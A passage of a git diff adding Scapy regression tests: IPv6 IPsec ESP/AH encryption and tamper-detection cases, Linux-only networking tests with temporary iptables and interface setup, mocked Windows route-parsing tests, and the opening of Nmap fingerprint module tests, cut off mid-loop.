+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / ESP - Tunnel - AES-GCM - NULL
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Tunnel - AES-GCM - NULL - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-GCM', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / ESP - Tunnel - AES-CCM - NULL
+~ crypto_advanced
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / ESP - Tunnel - AES-CCM - NULL - altered packet
+~ crypto_advanced
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CCM', crypt_key=b'16bytekey3bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+assert(e.nh == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].seq += 1
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+###############################################################################
++ IPv6 / AH
+
+#######################################
+= IPv6 / AH - Transport - HMAC-SHA1-96
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+* the encrypted packet should have an AH layer
+assert(e.nh == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.hlim = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / AH - Transport - HMAC-SHA1-96 - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+* the encrypted packet should have an AH layer
+assert(e.nh == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e[TCP].dport = 46
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / AH - Transport - SHA2-256-128
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+* the encrypted packet should have an AH layer
+assert(e.nh == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.hlim = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv6 / AH - Transport - SHA2-256-128 - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+assert(e.src == '11::22' and e.dst == '22::11')
+* the encrypted packet should have an AH layer
+assert(e.nh == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e[TCP].dport = 46
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / AH - Tunnel - HMAC-SHA1-96
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.hlim = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d == p)
+
+#######################################
+= IPv6 / AH - Tunnel - HMAC-SHA1-96 - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e.src = 'cc::ee'
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv6 / AH - Tunnel - SHA2-256-128
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key',
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* alter mutable fields in the packet
+e.hlim = 2
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d == p)
+
+#######################################
+= IPv6 / AH - Tunnel - SHA2-256-128 - altered packet
+
+p = IPv6(src='11::22', dst='22::11')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key',
+                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IPv6))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == 'aa::bb' and e.dst == 'bb::aa')
+assert(e.nh == socket.IPPROTO_AH)
+assert(e.haslayer(AH))
+assert(e.haslayer(TCP))
+assert(e[AH].spi == sa.spi)
+
+* simulate the alteration of the packet before verification
+e.src = 'cc::ee'
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+###############################################################################
++ IPv6 + Extensions / AH
+
+#######################################
+= IPv6 + Extensions / AH - Transport
+
+p = IPv6(src='11::22', dst='22::11')
+p /= IPv6ExtHdrHopByHop()
+p /= IPv6ExtHdrDestOpt()
+p /= IPv6ExtHdrRouting()
+p /= IPv6ExtHdrDestOpt()
+p /= IPv6ExtHdrFragment()
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(e.src == '11::22' and e.dst == '22::11')
+* AH header should be inserted between the routing header and the dest options header
+assert(isinstance(e[AH].underlayer, IPv6ExtHdrRouting))
+assert(isinstance(e[AH].payload, IPv6ExtHdrDestOpt))
+
+#######################################
+= IPv6 + Routing Header / AH - Transport
+
+p = IPv6(src='11::22', dst='22::11')
+p /= IPv6ExtHdrHopByHop()
+p /= IPv6ExtHdrRouting(addresses=['aa::bb', 'cc::dd', 'ee::ff'])
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IPv6(raw(p))
+p
+
+sa = SecurityAssociation(AH, spi=0x222,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(e.src == '11::22' and e.dst == '22::11')
+* AH header should be inserted between the routing header and TCP
+assert(isinstance(e[AH].underlayer, IPv6ExtHdrRouting))
+assert(isinstance(e[AH].payload, TCP))
+
+* reorder the routing header as the receiver will get it
+final = e[IPv6ExtHdrRouting].addresses.pop()
+e[IPv6ExtHdrRouting].addresses.insert(0, e.dst)
+e.dst = final
+e[IPv6ExtHdrRouting].segleft = 0
+
+* integrity verification should pass
+d = sa.decrypt(e)
+d
+
diff --git a/test/linux.uts b/test/linux.uts
new file mode 100644
index 0000000..24edeca
--- /dev/null
+++ b/test/linux.uts
@@ -0,0 +1,127 @@
+% Regression tests for Linux only
+
+# More informations at http://www.secdev.org/projects/UTscapy/
+
+
+############
+############
+
++ Linux only test
+
+= TCP client automaton
+~ automaton netaccess linux needs_root
+* This test retries on failure because it often fails
+
+from __future__ import print_function
+import os
+import time
+import signal
+
+from scapy.modules.six.moves import range
+
+def handler(signum, stack_frame):
+    raise Exception("Timer expired !")
+
+tmp = signal.signal(signal.SIGALRM, handler)
+
+SECDEV_IP4 = "203.178.141.194"
+IPTABLE_RULE = "iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP"
+
+# Drop packets from SECDEV_IP4
+assert(os.system(IPTABLE_RULE % ('A', SECDEV_IP4)) == 0)
+
+success = False
+for i in range(10):
+    tmp = signal.alarm(5)
+    try:
+        r, w = os.pipe()
+        t = TCP_client(SECDEV_IP4, 80, external_fd={ "tcp": (r,w) })
+        tmp = os.write(w, b"HEAD / HTTP/1.0\r\n\r\n")
+        t.runbg()
+        time.sleep(0.5)
+        response = os.read(r, 4096)
+        tmp = signal.alarm(0)  # cancel the alarm
+        t.stop()
+        os.close(r)
+        os.close(w)
+        if response.startswith(b"HTTP/1.1 200 OK"):
+            success = True
+            break
+        else:
+            time.sleep(0.5)
+    except Exception as e:
+        print(e)
+
+# Remove the iptables rule
+assert(os.system(IPTABLE_RULE % ('D', SECDEV_IP4)) == 0)
+
+assert(success)
+
+= L3RawSocket
+~ netaccess IP ICMP linux needs_root
+
+old_l3socket = conf.L3socket
+old_debug_dissector = conf.debug_dissector
+conf.debug_dissector = False
+conf.L3socket = L3RawSocket
+x = sr1(IP(dst="www.google.com")/ICMP(),timeout=3)
+conf.debug_dissector = old_debug_dissector
+conf.L3socket = old_l3socket
+x
+assert x[IP].ottl() in [32, 64, 128, 255]
+assert 0 <= x[IP].hops() <= 126
+x is not None and ICMP in x and x[ICMP].type == 0
+
+# TODO: fix this test (randomly stuck)
+# ex: https://travis-ci.org/secdev/scapy/jobs/247473497
+
+#= Supersocket _flush_fd
+#~ needs_root linux
+#
+#import select
+#
+#from scapy.arch.linux import _flush_fd
+#socket = conf.L2listen()
+#select.select([socket],[],[],2)
+#_flush_fd(socket.ins)
+
+= Test legacy attach_filter function
+~ linux needs_root
+from scapy.arch.common import get_bpf_pointer
+
+old_pypy = conf.use_pypy
+conf.use_pypy = True
+
+tcpdump_lines = ['12\n', '40 0 0 12\n', '21 0 5 34525\n', '48 0 0 20\n', '21 6 0 6\n', '21 0 6 44\n', '48 0 0 54\n', '21 3 4 6\n', '21 0 3 2048\n', '48 0 0 23\n', '21 0 1 6\n', '6 0 0 1600\n', '6 0 0 0\n']
+pointer = get_bpf_pointer(tcpdump_lines)
+assert six.PY3 or isinstance(pointer, str)
+assert six.PY3 or len(pointer) > 1
+
+conf.use_pypy = old_pypy
+
+= Interface aliases & sub-interfaces
+~ linux needs_root
+
+import os
+exit_status = os.system("ip link add name scapy0 type dummy")
+exit_status = os.system("ip addr add 192.0.2.1/24 dev scapy0")
+exit_status = os.system("ip link set scapy0 up")
+exit_status = os.system("ifconfig scapy0:0 inet 198.51.100.1/24 up")
+exit_status = os.system("ip addr show scapy0")
+print(get_if_list())
+conf.route.resync()
+print(conf.route.routes)
+assert(conf.route.route("198.51.100.254") == ("scapy0", "198.51.100.1", "0.0.0.0"))
+route_alias = (3325256704, 4294967040, "0.0.0.0", "scapy0", "198.51.100.1", 0)
+assert(route_alias in conf.route.routes)
+exit_status = os.system("ip link add link scapy0 name scapy0.42 type vlan id 42")
+exit_status = os.system("ip addr add 203.0.113.42/24 dev scapy0.42")
+exit_status = os.system("ip link set scapy0.42 up")
+exit_status = os.system("ip route add 192.0.2.43/32 via 203.0.113.41")
+print(get_if_list())
+conf.route.resync()
+print(conf.route.routes)
+assert(conf.route.route("192.0.2.43") == ("scapy0.42", "203.0.113.42", "203.0.113.41"))
+route_specific = (3221226027, 4294967295, "203.0.113.41", "scapy0.42", "203.0.113.42", 0)
+assert(route_specific in conf.route.routes)
+exit_status = os.system("ip link del name dev scapy0")
diff --git a/test/mock_windows.uts b/test/mock_windows.uts
new file mode 100644
index 0000000..1cb1b56
--- /dev/null
+++ b/test/mock_windows.uts
@@ -0,0 +1,389 @@
+% Regression tests on Windows only for Scapy
+
+# More informations at http://www.secdev.org/projects/UTscapy/
+
+############
+############
++ Networking tests
+
+= Automaton - SelectableSelector system timeout
+
+class TimeOutSelector(SelectableObject):
+    def check_recv(self):
+        return False
+
+assert select_objects([TimeOutSelector()], 0) == []
+assert select_objects([TimeOutSelector()], 1) == []
+
+############
+############
++ Windows Networking tests
+
+= Mocked read_routes6() calls
+
+import mock
+from scapy.tools.UTscapy import Bunch
+from scapy.arch.windows import _read_routes6_post2008
+
+def check_mandatory_ipv6_routes(routes6):
+    """Ensure that mandatory IPv6 routes are present."""
+    if len([r for r in routes6 if r[0] == "::" and r[4] == ["::1"]]) < 1:
+        return False
+    if len([r for r in routes6 if r[0] == "fe80::" and (r[1] == 64 or r[1] == 32)]) < 1:
+        return False
+    if len([r for r in routes6 if in6_islladdr(r[0]) and r[1] == 128]) < 1:
+        return False
+    return True
+
+def dev_from_index_custom(if_index):
+    if_list = [{'mac': 'D0:50:99:56:DD:F9', 'win_index': '13', 'guid': '{C56DFFB3-992C-4964-B000-3E7C0F76E8BA}', 'name': 'Killer E2200 Gigabit Ethernet Controller', 'description': 'Ethernet'}, {'mac': '00:FF:0E:C7:25:37', 'win_index': '3', 'guid': '{0EC72537-B662-4F5D-B34E-48BFAE799BBE}', 'name': 'TAP-Windows Adapter V9', 'description': 'Ethernet 2'}]
+    values = {}
+    for i in if_list:
+        try:
+            interface = NetworkInterface(i)
+            values[interface.guid] = interface
+        except (KeyError, PcapNameNotFoundError):
+            pass
+    for devname, iface in values.items():
+        if iface.win_index == str(if_index):
+            return iface
+    raise ValueError("Unknown network interface index %r" % if_index)
+
+@mock.patch("scapy.arch.windows.construct_source_candidate_set")
+@mock.patch("scapy.arch.windows.get_if_list")
+@mock.patch("scapy.arch.windows.dev_from_index")
+@mock.patch("scapy.arch.windows.POWERSHELL_PROCESS.query")
+def test_read_routes6_windows(mock_comm, mock_dev_from_index, mock_winpcapylist, mock_utils6cset):
+    """Test read_routes6() on Windows"""
+    # 'Get-NetRoute -AddressFamily IPV6 | select ifIndex, DestinationPrefix, NextHop'
+    get_net_route_output = """
+ifIndex           : 3
+DestinationPrefix : ff00::/8
+NextHop           : ::
+RouteMetric       : 0
+InterfaceMetric   : 1
+
+ifIndex           : 16
+DestinationPrefix : ff00::/8
+NextHop           : ::
+RouteMetric       : 0
+InterfaceMetric   : 1
+
+ifIndex           : 13
+DestinationPrefix : ff00::/8
+NextHop           : ::
+RouteMetric       : 0
+InterfaceMetric   : 1
+
+ifIndex           : 1
+DestinationPrefix : ff00::/8
+NextHop           : ::
+RouteMetric       : 0
+InterfaceMetric   : 1
+
+ifIndex           : 13
+DestinationPrefix : fe80::dc1d:24e8:af00:125e/128
+NextHop           : ::
+RouteMetric       : 20
+InterfaceMetric   : 256
+
+ifIndex           : 3
+DestinationPrefix : fe80::9402:5804:cb16:fb3b/128
+NextHop           : ::
+RouteMetric       : 1
+InterfaceMetric   : 0
+
+ifIndex           : 16
+DestinationPrefix : fe80::100:7f:fffe/128
+NextHop           : ::
+RouteMetric       : 1
+InterfaceMetric   : 0
+
+ifIndex           : 3
+DestinationPrefix : fe80::/64
+NextHop           : ::
+RouteMetric       : 0
+InterfaceMetric   : 1
+
+ifIndex           : 16
+DestinationPrefix : fe80::/64
+NextHop           : ::
+RouteMetric       : 0
+InterfaceMetric   : 1
+
+ifIndex           : 13
+DestinationPrefix : fe80::/64
+NextHop           : ::
+RouteMetric       : 0
+InterfaceMetric   : 1
+
+ifIndex           : 13
+DestinationPrefix : 2a01:e35:2f17:fe60:dc1d:24e8:af00:125e/128
+NextHop           : ::
+RouteMetric       : 20
+InterfaceMetric   : 256
+
+ifIndex           : 13
+DestinationPrefix : 2a01:e35:2f17:fe60::/64
+NextHop           : ::
+RouteMetric       : 30
+InterfaceMetric   : 256
+
+ifIndex           : 1
+DestinationPrefix : ::1/128
+NextHop           : ::
+RouteMetric       : 0
+InterfaceMetric   : 256
+
+ifIndex           : 13
+DestinationPrefix : ::/0
+NextHop           : fe80::224:d4ff:fea0:a6d7
+RouteMetric       : 0
+InterfaceMetric   : 256
+"""
+    mock_comm.return_value = get_net_route_output.split("\n")
+    mock_winpcapylist.return_value = [u'\\Device\\NPF_{0EC72537-B662-4F5D-B34E-48BFAE799BBE}', u'\\Device\\NPF_{C56DFFB3-992C-4964-B000-3E7C0F76E8BA}']
+    # Mocked in6_getifaddr() output
+    mock_dev_from_index.side_effect = dev_from_index_custom
+    # Random
+    mock_utils6cset.side_effect = lambda x,y,z: ["::1"] if x=="::" else ["fdbb:d995:ddd8:51fc::"]
+    # Test the function
+    routes = _read_routes6_post2008()
+    for r in routes:
+        print(r)
+    print(len(routes))
+    assert(len(routes) == 9)
+    assert(check_mandatory_ipv6_routes(routes))
+
+
+test_read_routes6_windows()
+
+= Test _read_routes_post2008 with missing InterfaceMetric
+
+from scapy.arch.windows import _read_routes_post2008
+
+@mock.patch("scapy.arch.windows._get_metrics")
+@mock.patch("scapy.arch.windows.POWERSHELL_PROCESS.query")
+@mock.patch("scapy.arch.windows.get_if_list")
+@mock.patch("scapy.arch.windows.dev_from_index")
+def test_missing_ifacemetric(mock_dev_from_index, mock_winpcapylist, mock_exec_query, mock_get_metrics):
+    exc_query_output = """ifIndex           : 3
+DestinationPrefix : 255.255.255.255/0
+NextHop           : 192.168.103.1
+RouteMetric       : 10
+InterfaceMetric   : 256
+
+ifIndex           : 13
+DestinationPrefix : 255.255.255.255/32
+NextHop           : 0.0.0.0
+RouteMetric       : 20
+InterfaceMetric   :
+"""
+    mock_exec_query.side_effect = lambda *args, **kargs: exc_query_output.split("\n")
+    mock_winpcapylist.return_value = [u'\\Device\\NPF_{0EC72537-B662-4F5D-B34E-48BFAE799BBE}', u'\\Device\\NPF_{C56DFFB3-992C-4964-B000-3E7C0F76E8BA}']
+    mock_dev_from_index.side_effect = dev_from_index_custom
+    mock_get_metrics.side_effect = lambda: {'16': 0, '13': 123}
+    routes = _read_routes_post2008()
+    for r in routes:
+        print(r)
+    assert len(routes) == 2
+    # Test if metrics were correctly read/guessed
+    assert routes[0][5] == 266
+    assert routes[1][5] == 143
+
+test_missing_ifacemetric()
+
+= Test _get_metrics with weird netsh length
+
+from scapy.arch.windows import _get_metrics
+
+@mock.patch("scapy.arch.windows.POWERSHELL_PROCESS.query")
+def test_get_metrics(mock_exec_query):
+    exc_query_output = """Interface Loopback Pseudo-Interface 1 Parameters
+-------------------------------
+IfLuid : loopback_0
+IfIndex : 1
+State : connected
+Metric : 75
+Link MTU : 4294967295 byt
+Reachable Time : 40500 ms
+Base Reachable Time : 30000 ms
+Retransmission Interval : 1000 ms
+DAD Transmits : 0
+Site Prefix Length : 64
+Site Id : 1
+Forwarding : disabled
+Advertising : disabled
+Neighbor Discovery : disabled
+Neighbor Unreachability Detection : disabled
+Router Discovery : dhcp
+Managed Address Configuration : enabled
+Other Stateful Configuration : enabled
+Weak Host Sends : disabled
+Weak Host Receives : disabled
+Use Automatic Metric : enabled
+Ignore Default Routes : disabled
+Advertised Router Lifetime : 1800 seconds
+Advertise Default Route : disabled
+Current Hop Limit : 0
+Force ARPND Wake up patterns : disabled
+Directed MAC Wake up patterns : disabled
+ECN capability : application
+
+Interface Wi-Fi Parameters
+-------------------------------
+IfLuid : wireless_32768
+IfIndex : 7
+State : connected
+Metric : 55
+Link MTU : 1500 bytes
+Reachable Time : 43500 ms
+Base Reachable Time : 30000 ms
+Retransmission Interval : 1000 ms
+DAD Transmits : 3
+Site Prefix Length : 64
+Site Id : 1
+Forwarding : disabled
+Advertising : disabled
+Neighbor Discovery : enabled
+Neighbor Unreachability Detection : enabled
+Router Discovery : dhcp
+Managed Address Configuration : enabled
+Other Stateful Configuration : enabled
+Weak Host Sends : disabled
+Weak Host Receives : disabled
+Use Automatic Metric : enabled
+Ignore Default Routes : disabled
+Advertised Router Lifetime : 1800 seconds
+Advertise Default Route : disabled
+Current Hop Limit : 0
+Force ARPND Wake up patterns : disabled
+Directed MAC Wake up patterns : disabled
+ECN capability : application
+"""
+    mock_exec_query.side_effect = lambda *args, **kargs: exc_query_output.split("\n")
+    metrics = _get_metrics()
+    print(metrics)
+    assert metrics == {'1': 75, '7': 55}
+
+test_get_metrics()
+
+############
+############
++ Windows arch unit tests
+
+= Test PowerShell availability
+from scapy.config import conf
+assert conf.prog.powershell != None
+
+= Store powershell results
+import mock
+from scapy.config import conf
+
+ps_ip = get_ip_from_name(conf.iface.name)
+ps_if_list = get_windows_if_list()
+ps_read_routes = read_routes()
+
+# Turn on VBS mode
+conf.prog.powershell = None
+
+= Test get_ip_from_name with VBS
+ps_ip
+
+assert get_ip_from_name(conf.iface.name) == ps_ip
+
+= Test get_windows_if_list with VBS
+ps_if_list
+
+def is_in_if_list(i, list):
+    if not i["mac"]:
+        return True
+    for j in list:
+        if j["guid"] == i["guid"] and j["name"] == i["name"]:
+            return True
+    return False
+
+vbs_if_list = get_windows_if_list()
+vbs_if_list
+_correct = True
+for i in vbs_if_list:
+    if not is_in_if_list(i, ps_if_list):
+        _correct = False
+        break
+
+assert _correct
+
+= Test read_routes with VBS
+ps_read_routes
+
+def is_in_route_list(i, list):
+    # Ignore all empty IP or macs
+    if i[4] == '':
+        return True
+    if i[3].mac == '' or i[3].guid == '' or i[3].ip == '':
+        return True
+    for j in list:
+        if j[2] == i[2] and j[4] == i[4] and j[3].guid == i[3].guid:
+            return True
+    return False
+
+vbs_read_routes = read_routes()
+vbs_if_list
+_correct = True
+for i in vbs_read_routes:
+    if not is_in_route_list(i, ps_read_routes):
+        _correct = False
+        break
+
+assert _correct
+
+conf.prog._reload()
+
+= show_interfaces
+
+from scapy.arch import show_interfaces
+
+with ContextManagerCaptureOutput() as cmco:
+    show_interfaces()
+    lines = cmco.get_output().split("\n")[1:]
+    for l in lines:
+        if not l.strip():
+            continue
+        int(l[:2])
+
+= dev_from_pcapname
+
+from scapy.config import conf
+
+assert dev_from_pcapname(conf.iface.pcap_name).guid == conf.iface.guid
+
+= test pcap_service_status
+
+status = pcap_service_status()
+status
+assert status[0] in ["npcap", "npf"]
+assert status[2] == True
+
+= test pcap_service_stop
+
+pcap_service_stop()
+assert pcap_service_status()[2] == False
+
+= test pcap_service_start
+
+pcap_service_start()
+assert pcap_service_status()[2] == True
+
+= Test auto-pcap start UI
+
+old_ifaces = IFACES.data
+
+@mock.patch("scapy.arch.windows.get_if_list")
+def _test_autostart_ui(mocked_getiflist):
+    mocked_getiflist.side_effect = lambda: []
+    IFACES.reload()
+    assert IFACES.data == {}
+
+_test_autostart_ui()
+
+IFACES.data = old_ifaces
\ No newline at end of file
diff --git a/test/nmap.uts b/test/nmap.uts
new file mode 100644
index 0000000..2c3d508
--- /dev/null
+++ b/test/nmap.uts
@@ -0,0 +1,83 @@
+% Regression tests for Scapy Nmap module
+
+~ nmap
+
+############
+############
++ Basic Nmap OS fingerprints tests
+
+= Module loading
+load_module('nmap')
+
+= Test functions
+
+d = nmap_udppacket_sig(IP()/UDP(), IP(raw(IP()/ICMP(type=3, code=2)/IPerror()/UDPerror())))
+assert len(d) == 9
+
+d = nmap_tcppacket_sig(IP()/TCP())
+assert len(d) == 5
+
+= Fetch database
+from __future__ import print_function
+try:
+    from urllib.request import urlopen
+except ImportError:
+    from urllib2 import urlopen
+
+for i in range(10):
+    try:
+        open('nmap-os-fingerprints', 'wb').write(urlopen('https://raw.githubusercontent.com/nmap/nmap/9efe1892/nmap-os-fingerprints').read())
